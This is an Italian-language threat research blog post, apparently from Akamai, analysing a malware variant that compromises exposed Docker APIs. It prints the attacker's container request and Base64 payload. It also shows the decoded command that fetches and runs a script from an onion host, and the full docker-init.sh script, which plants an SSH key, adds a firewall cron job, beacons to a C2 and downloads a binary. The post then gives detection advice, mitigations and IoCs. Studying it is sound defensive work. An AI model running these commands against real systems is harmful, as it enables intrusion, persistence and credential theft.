Analisi riassuntiva
L'Akamai Hunt Team ha scoperto una nuova variante di malware che prende di mira le API visibili in Docker con un maggior numero di funzionalità di infezione. Osservata l'ultima volta ad agosto 2025 nell'infrastruttura degli honeypot di Akamai,
questa variante di malware è stata segnalata originariamente a giugno 2025 dal team addetto all'intelligence sulle minacce di Trend Micro. L'iterazione scoperta dal team ha rilasciato un cryptominer in un dominio Tor.
L'Akamai Hunt Team ha osservato una variante con un diverso vettore di accesso iniziale, che impedisce di accedere alle API presenti in Docker da Internet.
Anche il file binario è diverso: la variante scoperta dall'Akamai Hunt non rilascia un cryptominer, ma un file contenente altri strumenti usati in precedenza insieme a nuove funzionalità di infezione nascoste negli strumenti utilizzati dalla variante originale.
Questo blog include tutti i dettagli tecnici relativi alla scoperta iniziale, alle differenze tra le due varianti e agli indicatori IoC (Indicators of Compromise) che aiutano a difendersi da questa minaccia.
Introduzione
Più i nostri ecosistemi digitali diventano interconnessi, maggiore è il numero di posti in cui i criminali possono nascondersi, inclusi quelli in cui cercano rifugio quando vengono scoperti. Quando un nuovo vettore di minaccia o una nuova variante di malware viene scoperta e segnalata, potrebbero essere necessari alcuni giorni o qualche ora affinché il criminale riesca a modificare questi malware in modo da poter eludere nuovamente il rilevamento.
L'Akamai Hunt Team ha scoperto una nuova campagna attiva che prende di mira le API visibili in Docker. Questa nuova variante sembra utilizzare strumenti simili a quella originale, tuttavia potrebbe avere uno scopo diverso, tra cui anche la possibilità di fungere da base per una botnet complessa.
In questo blog, vengono analizzati i dettagli tecnici, la catena degli attacchi e le soluzioni di mitigazione di questa variante di malware.
Un breve riepilogo della minaccia iniziale
A giugno 2025, il team addetto all'intelligence sulle minacce di Trend Micro ha segnalato la presenza di un malware che ha preso di mira le API visibili in Docker per rilasciare un cryptominer. Gli autori di questo malware hanno utilizzato Tor anche per nascondere la loro identità.
I criminali hanno guadagnato l'accesso al dominio sfruttando le configurazioni errate delle API in Docker, con cui sono riusciti ad eseguire un nuovo container basato sull'immagine Alpine Docker e ad installare al suo interno il file system dell'host, quindi hanno eseguito un payload con codifica Base64 che ha scaricato una script di shell dannoso da un server .onion con cui hanno le configurazioni SSH sull'host con minacce persistenti.
Il downloader ha anche installato vari strumenti, tra cui masscan e torsocks, insieme alle informazioni di sistema dei beacon sul server C2 (Command and Control) del criminale tramite Tor. In seguito, i criminali hanno scaricato ed eseguito un file binario Zstandard-compressed contenente un miner di criptovalute XMRig.
La nostra indagine
Nell'ambito delle nostre consuete procedure di ricerca, abbiamo rilevato una richiesta HTTP effettuata alla nostra API in Docker che, provenendo da vari indirizzi IP, cercava di creare un nuovo container su uno dei nostri server (Figura 1). Questa situazione ha attirato la nostra attenzione e, quindi, abbiamo iniziato la nostra indagine.
{
"Image": "alpine:latest",
"Cmd": [
"sh",
"-c",
"export IP=<honeypot_ip>; echo YXBrIHVwZGF0ZSAmJiBhcGsgYWRkIGN1cmwgdG9yICYmIHRvciAmIHdoaWxlICEgY3VybCAtZnMgLS1wcm94eSBzb2NrczVoOi8vbG9jYWxob3N0OjkwNTAgaHR0cHM6Ly9jaGVja2lwLmFtYXpvbmF3cy5jb207IGRvIHNsZWVwIDEwOyBkb25lOyBjdXJsIC1mcyAtLXByb3h5IHNvY2tzNWg6Ly9sb2NhbGhvc3Q6OTA1MCBodHRwOi8vd3R4cWY1NGRqaHA1cHNrdjJsZnlkdXViNWlldnhieXZsempnam9wazZoeGdlNXVtb21icjYzYWQub25pb24vc3RhdGljL2RvY2tlci1pbml0LnNoIHwgc2g= | base64 -d | sh"
],
"Tty": true,
"HostConfig": {
"Binds": [
"/:/hostroot:rw"
],
"RestartPolicy": {
"MaximumRetryCount": 0,
"Name": "always"
}
}
}Il criminale ha installato il file system dell'host eseguendo uno script con codifica Base64, un comportamento anomalo che meritava un'ulteriore indagine per cercare di scoprire quale era lo scopo del container appena creato. Dopo aver decodificato il campione, abbiamo scoperto che lo scopo del criminale era preparare il container per recuperare uno script da un dominio Tor (Figura 2).
apk update && apk add curl tor && tor & while ! curl -fs --proxy socks5h://localhost:9050 https://checkip.amazonaws.com; do sleep 10; done; curl -fs --proxy socks5h://localhost:9050 http://wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion/static/docker-init.sh | shQuesto script presenta due fasi:
- Fase 1. Preparazione dell'ambiente
- Installazione di curl e tor
- Avvio del daemon Tor in background
- Recupero dell'indirizzo IP pubblico della vittima tramite checkip.amazonaws.com
- Fase 2. Recupero ed esecuzione
- Recupero di uno script denominato docker-init.sh da un dominio Tor (Figura 3)
#!/bin/sh
echo "Karuizawa running..."
if [ -d "/hostroot" ]; then
SC="/hostroot/etc/ssh/sshd_config";{ printf "PermitRootLogin yes\nPubkeyAuthentication yes\n"; cat $SC; } > t.txt && mv t.txt $SC && echo "ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBAHTVlJAQr3MiANW6KZjiPrzlIsVXkATKxKGrwFM4ylE31c4psnz1NdsKVSG7mVmB3bjmBRL3d4JmpKNByGPXeF9LgAOU4t5Olcwhl0x+ci8zwg6xV+dq/YABOxNZr5MI1dVfkmZ86+iGRnt03TB28n0RH1zbJ+x21jw5iJSwoUe+rkD1A==" >> /hostroot/root/.ssh/authorized_keys
echo "* * * * * root echo 'aWYgY29tbWFuZCAtdiBzeXN0ZW1jdGwgJj4gL2Rldi9udWxsOyB0aGVuCiAgICBzeXN0ZW1jdGwgcmVsb2FkIHNzaGQgMj4vZGV2L251bGwgfHwgc3lzdGVtY3RsIHJlbG9hZCBzc2gKZWxpZiBbIC14IC9ldGMvaW5pdC5kL3NzaCBdOyB0aGVuCiAgICAvZXRjL2luaXQuZC9zc2ggcmVsb2FkCmVsaWYgWyAteCAvZXRjL2luaXQuZC9zc2hkIF07IHRoZW4KICAgIC9ldGMvaW5pdC5kL3NzaGQgcmVsb2FkCmVsc2UKICAgIGVjaG8gImVyciIKZmkKClBPUlQ9MjM3NQpQUk9UT0NPTD10Y3AKCmZvciBmdyBpbiBmaXJld2FsbC1jbWQgdWZ3IHBmY3RsIGlwdGFibGVzIG5mdDsgZG8KICBpZiBjb21tYW5kIC12ICIkZnciID4vZGV2L251bGwgMj4mMTsgdGhlbgogICAgY2FzZSAiJGZ3IiBpbgogICAgICBmaXJld2FsbC1jbWQpCiAgICAgICAgZmlyZXdhbGwtY21kIC0tcGVybWFuZW50IC0tem9uZT1wdWJsaWMgLS1hZGQtcmljaC1ydWxlPSJydWxlIGZhbWlseT0naXB2NCcgcG9ydCBwb3J0PScke1BPUlR9JyBwcm90b2NvbD0nJHtQUk9UT0NPTH0nIHJlamVjdCIKICAgICAgICBmaXJld2FsbC1jbWQgLS1yZWxvYWQKICAgICAgICA7OwogICAgICB1ZncpCiAgICAgICAgdWZ3IGRlbnkgIiR7UE9SVH0vJHtQUk9UT0NPTH0iCiAgICAgICAgdWZ3IHJlbG9hZAogICAgICAgIDs7CiAgICAgIHBmY3RsKQogICAgICAgIGVjaG8gImJsb2NrIGRyb3AgcHJvdG8gJHtQUk9UT0NPTH0gZnJvbSBhbnkgdG8gYW55IHBvcnQgJHtQT1JUfSIgfCBwZmN0bCAtYSBjdXN0b21fYmxvY2sgLWYgLQogICAgICAgIDs7CiAgICAgIGlwdGFibGVzKQogICAgICAgIGlwdGFibGVzIC1JIElOUFVUIDEgLXAgIiR7UFJPVE9DT0x9IiAtLWRwb3J0ICIke1BPUlR9IiAtaiBEUk9QCiAgICAgICAgOzsKICAgICAgbmZ0KQogICAgICAgIGlmICEgbmZ0IGxpc3QgdGFibGVzIHwgZ3JlcCAtcSAiaW5ldCI7IHRoZW4KICAgICAgICAgIG5mdCBhZGQgdGFibGUgaW5ldAogICAgICAgICAgbmZ0IGFkZCBjaGFpbiBpbmV0IGZpbHRlciB7IHR5cGUgZmlsdGVyIGhvb2sgaW5wdXQgcHJpb3JpdHkgMCBcOyB9CiAgICAgICAgZmkKICAgICAgICBuZnQgYWRkIHJ1bGUgaW5ldCBmaWx0ZXIgaW5wdXQgIiR7UFJPVE9DT0x9IiBkcG9ydCAiJHtQT1JUfSIgZHJvcAogICAgICAgIDs7CiAgICBlc2FjCiAgICBicmVhawogIGZpCmRvbmUKCmVjaG8gIiIgPiAvZXRjL2Nyb250YWIK' | base64 -d | sh" >> /hostroot/etc/crontab
fi
apk add masscan libpcap libpcap-dev zstd torsocks
curl --proxy socks5h://localhost:9050 http://wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion/bot/add -X POST -H "Content-Type: application/json" -d '{"enter": "docker", "ip": "'$IP'", "arch": "'$(uname -m)'" }'
torsocks wget -O /tmp/system.zst "http://2hdv5kven4m422wx4dmqabotumkeisrstzkzaotvuhwx3aebdig573qd[.]onion:9000/binary/system-linux-$(uname -m).zst"
zstd -d /tmp/system.zst -o /tmp/system
chmod +x /tmp/system
ulimit -n 65535
/tmp/system
sleep 30Analisi dello script docker-init.sh
L'analisi dello script illustrata nella Figura 3 indica che vengono eseguiti vari passaggi costituiti da attacchi persistenti e tentativi di elusione dei sistemi di difesa in atto, inclusa la negazione dei futuri accessi all'istanza visibile, che è un comportamento già osservato nelle varianti precedenti.
Attacchi root persistenti tramite SSH: lo script aggiunge una chiave pubblica controllata dal criminale al percorso /root/.ssh/authorized_keys.
Installazione: lo script, quindi, aggiunge gli strumenti necessari per propagarsi, sferrare attacchi persistenti ed eludere i sistemi di difesa (masscan, libpcap, libpcap-dev, zstd e torsocks).
- Controllo degli accessi: scrivendo il comando con codifica Base64 all'interno dello script presente al percorso /hostroot/etc/crontab, il criminale crea un processo cron che, ogni minuto, procede all'esecuzione e all'iterazione di più utilità del firewall (firewall-cmd, ufw, pfctl, iptables, nft) per bloccare l'accesso alla porta 2375 (l'API in Docker; Figura 4).
PORT=2375
PROTOCOL=tcp
for fw in firewall-cmd ufw pfctl iptables nft; do
if command -v "$fw" >/dev/null 2>&1; then
case "$fw" in
firewall-cmd)
firewall-cmd --permanent --zone=public --add-rich-rule="rule family='ipv4' port port='${PORT}' protocol='${PROTOCOL}' reject"
firewall-cmd --reload
;;
ufw)
ufw deny "${PORT}/${PROTOCOL}"
ufw reload
;;
pfctl)
echo "block drop proto ${PROTOCOL} from any to any port ${PORT}" | pfctl -a custom_block -f -
;;
iptables)
iptables -I INPUT 1 -p "${PROTOCOL}" --dport "${PORT}" -j DROP
;;
nft)
if ! nft list tables | grep -q "inet"; then
nft add table inet
nft add chain inet filter { type filter hook input priority 0 \; }
fi
nft add rule inet filter input "${PROTOCOL}" dport "${PORT}" drop
;;
esac
break
fi
doneIl file crontab si trova sullo stesso host perché il criminale l'ha installato al momento di creare il container. È questa una cosiddetta tattica di superiorità, ossia il criminale blocca la vittima per un proprio uso esclusivo, negando ad altri criminali la possibilità di accedere in futuro all'istanza visibile. Si tratta di una nuova sezione presente nel codice che non abbiamo trovato nelle varianti precedenti e che non viene attualmente rilevata dallo strumento VirusTotal.
A questo punto, il criminale invia nuovamente una richiesta POST al suo server C2 a indicare che un servizio Docker è stato compromesso (Figura 5).
curl --proxy socks5h://localhost:9050 http://wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion/bot/add -X POST -H "Content-Type: application/json" -d '{"enter": "docker", "ip": "'$IP'", "arch": "'$(uname -m)'" }'Una volta stabilita una comunicazione con il server C2, lo script scarica un file binario compresso da un altro servizio Tor (Figura 6).
torsocks wget -O /tmp/system.zst "http://2hdv5kven4m422wx4dmqabotumkeisrstzkzaotvuhwx3aebdig573qd[.]onion:9000/binary/system-linux-$(uname -m).zst"Analisi del file binario
Il primo file che viene scaricato è un dropper scritto in Go che include i contenuti da rilasciare in modo che non vengano comunicati tramite Internet.
Ad eccezione del rilascio di un altro file binario, una volta analizzato il file utmp, risulta che è attualmente collegato al computer preso di mira.
Nella Figura 7 viene illustrato il dropper, che include un'emoji di un utente. Questo interessante comportamento indica, probabilmente, che il file è stato scritto mediante i modelli LLM (Large Language Model), molti dei quali includono, appunto, le emoji nel proprio codice.
Fig. 7: Screenshot of a binary file (with an emoji) that is trying to identify who is logged into the machine
Il file rilasciato (dockerd) esegue masscan, uno strumento di scansione delle porte utilizzato idealmente per scansioni di grandi dimensioni, come quella illustrata (Figura 8). Questo strumento esegue la scansione di altre 2375 porte aperte (servizi per le API in Docker). Se trova una porta aperta, cerca di infettarla con lo stesso metodo, creando un container con il comando Base64 illustrato nella Figura 1.
Fig. 8: Screenshot of binary initiating masscan
Mentre i due primi endpoint (Get, Start) vengono utilizzati per la propagazione del malware, gli ultimi due (Stop, Remove) sembra che siano usati per identificare i container dannosi che sono stati implementati da altri criminali (Figura 9).
Fig. 9: Searching for ubuntu containers
Questa identificazione viene eseguita effettuando una ricerca per i container ubuntu, che, come risulta dai nostri dati emerge, vengono implementati da molti criminali con cryptominer al loro interno. La maggior parte degli incidenti relativi ai nostri honeypot si è verificata con un accesso iniziale effettuato tramite un container ubuntu o alpine, seguito da un comando cURL che richiede ad un dominio dannoso di scaricare un malware.
In cerca di amici
L'infezione iniziale, tuttavia, non è sufficiente per questa variante. Il criminale utilizza lo stesso comando Base64 che abbiamo osservato nella Figura 1 insieme ad altri parametri per creare un nuovo container dannoso sulla destinazione visibile che è stata trovata all'interno dell'esecuzione dello strumento masscan (Figura 10).
Fig. 10: Building the body request for the container infection
Anche se lo strumento masscan esegue la scansione solo della porta 2375, il file binario include, inoltre, i controlli di altre due porte, la porta 23 (Telnet) e la porta 9222 (porta di debugging remoto per i browser Chromium), con ciò che sembra essere una tecnica di infezione per ciascuna di esse.
Da quanto possiamo affermare, poiché il malware esegue la scansione solo della porta 2375, la logica per la gestione delle porte 23 e 9222 è attualmente irraggiungibile e non viene eseguita. Tuttavia, l'implementazione esiste, il che potrebbe indicare eventuali capacità future.
Porta 23
Per la porta 23 (Telnet), il malware utilizza una serie di credenziali dei dispositivi e di router noti e predefiniti (ad esempio, Alphanetworks:wrgg15_di524 o PSEAdmin:$secure$), quindi effettua l'accesso con le credenziali di accesso corrette e le invia ad un endpoint webhook[.]site (4fea5cbb-8863-4f25-862a-fd8f02095207) con l'IP di destinazione e le credenziali di autenticazione della vittima.
Un aspetto interessante consiste nel fatto che il malware suppone anche che, se l'accesso riesce correttamente durante l'utilizzo dell'utente "root", la destinazione è l'honeypot, probabilmente, in base al fatto che Telnet ignora le credenziali di accesso root con la configurazione predefinita (Figura 11).
Fig. 11: Sending Telnet credentials to a webhook
Porta 9222
La porta 9222 è la porta di debugging remoto predefinita per Google Chrome e Chromium che viene utilizzata per rendere vulnerabile il protocollo DevTools, quindi, se lasciata aperta a Internet, può consentire il controllo remoto del browser e porre un rischio per la sicurezza.
Il malware utilizza chromedp, una libreria Go che interagisce con i browser Chrome o Chromium e che è stata sfruttata in passato per bypassare la funzione di crittografia basata sulle applicazioni di Chrome, per connettersi in remoto alle sessioni di Chromium, nonché per rubare cookie e altri dati privati.
Nella nostra variante, il malware utilizza NewRemoteAllocator e NewContext con il parametro http://<scanned_ip>:9222 per collegarsi ad una sessione esistente con la porta remota aperta (Figura 12).
Fig. 12: The use of NewRemoteAllocator and NewContext
Il malware accede al sito http://checkip.amazonaws.com e cerca il corpo del testo della pagina. Ad eccezione di questa azione, non abbiamo osservato altre attività all'interno di questo vettore né siamo riusciti a trovare versioni più complesse di questo malware.
Eventualmente, se il corpo del testo viene recuperato correttamente, viene richiamata una funzione denominata addHttpbot che invia una richiesta POST al sito http://wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion/httpbot/add (notare il prefisso dell'endpoint http) dall'IP visibile, con l'IP di origine su cui si trova il malware e la destinazione a cui ha trovato accesso sulla porta 9222.
In teoria, nelle varianti future, il criminale può seguire diverse procedure per scopi dannosi dopo aver effettuato l'accesso ad una porta di debugging remoto, tra cui:
- Rubare dati sensibili, come cookie o numeri di carte di credito
- Accedere ad informazioni riservate dall'esterno, come i metadati nel cloud
- Eseguire attacchi DDoS (Distributed Denial-of-Service)
- Scaricare file remoti
È anche importante notare che se un browser Chrome viene sfruttato tramite la porta di debugging remoto, per impostazione predefinita ascolta solo le richieste dal percorso localhost. Chiunque sfrutta questa porta su Internet deve impostare specificamente l'indirizzo di debugging remoto.
Il file cerca anche un ip-api per identificare il suo ASN e la sua posizione geografica, nello specifico in una funzione denominata IsAWSIP, anche se non abbiamo trovato alcuna prova di uno specifico abuso di AWS o della logica correlata, anche se la logica potrebbe essere presente in una futura versione del malware.
Alcuni meccanismi sottostanti ci portano a considerare questa variante come una versione iniziale di una botnet complessa, anche se finora non abbiamo trovato una sua versione completa
Rilevamento della minaccia
Potete usare una qualsiasi combinazione di queste tecniche per rilevare potenziali infezioni di questo malware o di altri vettori simili:
Controllate i container appena implementati che eseguono un'app di installazione (come apt o yum) e un downloader (come cURL o wget) immediatamente dopo. Molti criminali utilizzano questo metodo per eseguire codice da remoto sulle istanze di Docker visibili.
Cercate nuove connessioni da Internet alle porte 2375, 9222 o 23. Inoltre, l'utilizzo degli strumenti di scansione nella rete può indicare un'attività di ricognizione.
Monitorate i comandi con codifica Base64 e verificate la presenza di anomalie nelle posizioni in cui sono stati eseguiti, nei comportamenti delle persone che li hanno eseguiti e, ovviamente, monitorate il contenuto decodificato di questi comandi.
Monitorate i downloader. Il rilevamento di un accesso anomalo a domini sospetti da questo tipo di processo è fondamentale per rilevare un accesso iniziale dal web.
Controllate i servizi principali che hanno interrotto l'ascolto. Se un servizio nel vostro ambiente è continuamente in ascolto su una porta specifica e improvvisamente si ferma senza alcuna ragione, potrebbe indicare un'attività sospetta.
Controllate i nuovi container installati con il file system dell'host. Quando un container appena implementato viene avviato con l'accesso ai percorsi sensibili dell'host (ad esempio, /, /var/run/docker.sock, /etc), potrebbe indicare un tentativo di eludere i limiti del container o di guadagnare un maggior controllo sull'host.
I clienti di Akamai Hunt possono trarre vantaggio da un monitoraggio continuo 24/7, che garantisce un rilevamento e un'indagine delle anomalie in modo tempestivo prima che possano diventare minacce reali.
Prevenzione e mitigazione
Anche se scoprite un'infezione o cercate di prevenirla prima che si verifichi, questi quattro suggerimenti riportati di seguito possono aiutarvi a mantenere più sicuro il vostro ambiente.
Segmentazione della rete: isolate l'ambiente Docker dalle altre parti della rete. Utilizzate la segmentazione della rete per limitare la capacità dei criminali di eseguire il movimento laterale all'interno della vostra infrastruttura e l'accesso alle API in Docker.
Visibilità: rendete visibili su Internet solo i servizi necessari. Questo malware accede alle porte 2375, 9222 e 23 da Internet, pertanto bloccare questo accesso consente di mitigare completamente questa minaccia.
Porta del debugger di Chrome: durante l'utilizzo della porta del debugger di Chrome (9222), utilizzate specifici indirizzi IP remoti, non l'indirizzo 0.0.0.0.
Rotazione delle password: quando installate un nuovo dispositivo, cambiate le credenziali predefinite con una password complessa.
Analisi delle tecniche: il progetto Beelzebub
Per l'honeypot in cui è stata scoperta questa variante, abbiamo utilizzato l'eccellente architettura dell'honeypot Beelzebub progettata da Mario Candela.
Si tratta di un honeypot open source che semplifica la simulazione dei servizi ad alta interazione con il minimo impegno da parte del ricercatore. Scrivendo semplici file YAML per ogni servizio, potete imitare interi protocolli o API in base ai modelli di richiesta/risposta (Figura 13).
Inoltre, è disponibile un'opzione che consente di collegare un modello LLM per generare le risposte dinamiche, quindi i criminali pensano di parlare con un'API mentre, in realtà, è il modello LLM che imita la risposta di un'API reale.
- regex: "^/_ping/?$"
headers:
- "Content-Type: text/plain; charset=utf-8"
- "Server: Docker/24.0.7 (linux)"
- "Api-Version: 1.43"
- "Docker-Experimental: false"
- "Ostype: linux"
statusCode: 200
handler: "OK"Questo snippet dice a Beelzebub come rispondere quando un criminale richiede l'endpoint dell'API /_ping in Docker. Invece di ignorare la richiesta, l'honeypot risponde inviando le intestazioni e i metadati necessari per farlo sembrare un server Docker 24.0.7 reale che viene eseguito su Linux. L'handler risponde semplicemente con "OK", proprio come farebbe un daemon Docker reale.
Potete trovare il file YAML completo per le API in Docker sul nostro GitHub.
Siete alla ricerca di un monitoraggio proattivo?
Questa variante di malware Docker recentemente scoperta evidenzia la necessità per i ricercatori di continuare il loro prezioso lavoro volto ad aiutare gli addetti alla sicurezza. I criminali continuano a tenersi aggiornati, spesso, utilizzando minacce o vulnerabilità note o modificandole quel tanto che basta per eludere i sistemi di rilevamento o, peggio, impostandole in modo da creare ulteriore scompiglio nel lungo termine.
I criminali possono guadagnare un controllo significativo sui sistemi interessati dalle API violate. Non si rimarcherà mai abbastanza l'importanza di segmentare le reti, limitare la visibilità dei servizi su Internet e proteggere le credenziali predefinite. Adottando queste misure, le organizzazioni possono ridurre notevolmente la loro visibilità a tali minacce.
L'Akamai Hunt Team continua a monitorare e a divulgare i risultati emersi da incidenti reali per proteggere i clienti dell'azienda e per la più vasta comunità della sicurezza. Seguiteci sui social media o sulla nostra pagina relativa alle ricerche per tenervi aggiornati sugli ultimi risultati forniti dal team Hunt e dal resto del Security Intelligence Group di Akamai.
IoC
IoC |
Tipo |
|---|---|
wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion |
Dominio |
2hdv5kven4m422wx4dmqabotumkeisrstzkzaotvuhwx3aebdig573qd[.]onion |
Dominio |
webhook[.]site/4fea5cbb-8863-4f25-862a-fd8f02095207 |
URL |
C38e013ed9aa1ef46411bef9605f7a41823f3eefebb8b30b9e35f39723c14d7c - docker-init.sh |
Hash |
649974453ed40b72d08d378d72d43161ed5bd093a4f80eb5285f75e16fedbeb2 - system |
Hash |
9451d3dc4b0ff9ea6afa503ffbfcd877944cac0860d6a0b8779c2bb5d03d3446 - dockerd |
Hash |
Che cos'è Akamai Hunt?
Akamai Hunt è un servizio proattivo e pratico di ricerca sulle minacce che monitora continuamente eventuali anomalie e potenziali minacce per rilevarle e analizzarle in modo tempestivo prima che diventino problemi reali.
La nostra visibilità sulle ultime novità in termini di tecniche, strumenti e comportamenti dei criminali è supportata dal vasto honeypot di Akamai e dalle interazioni dirette con l'ambiente dei nostri clienti. In tal modo, possiamo verificare le nostre ipotesi rispetto alle reali attività dei criminali, aggiungere ai nostri sistemi di rilevamento informazioni dirette e anticipare le minacce prima che raggiungano gli ambienti dei nostri clienti.
Tag
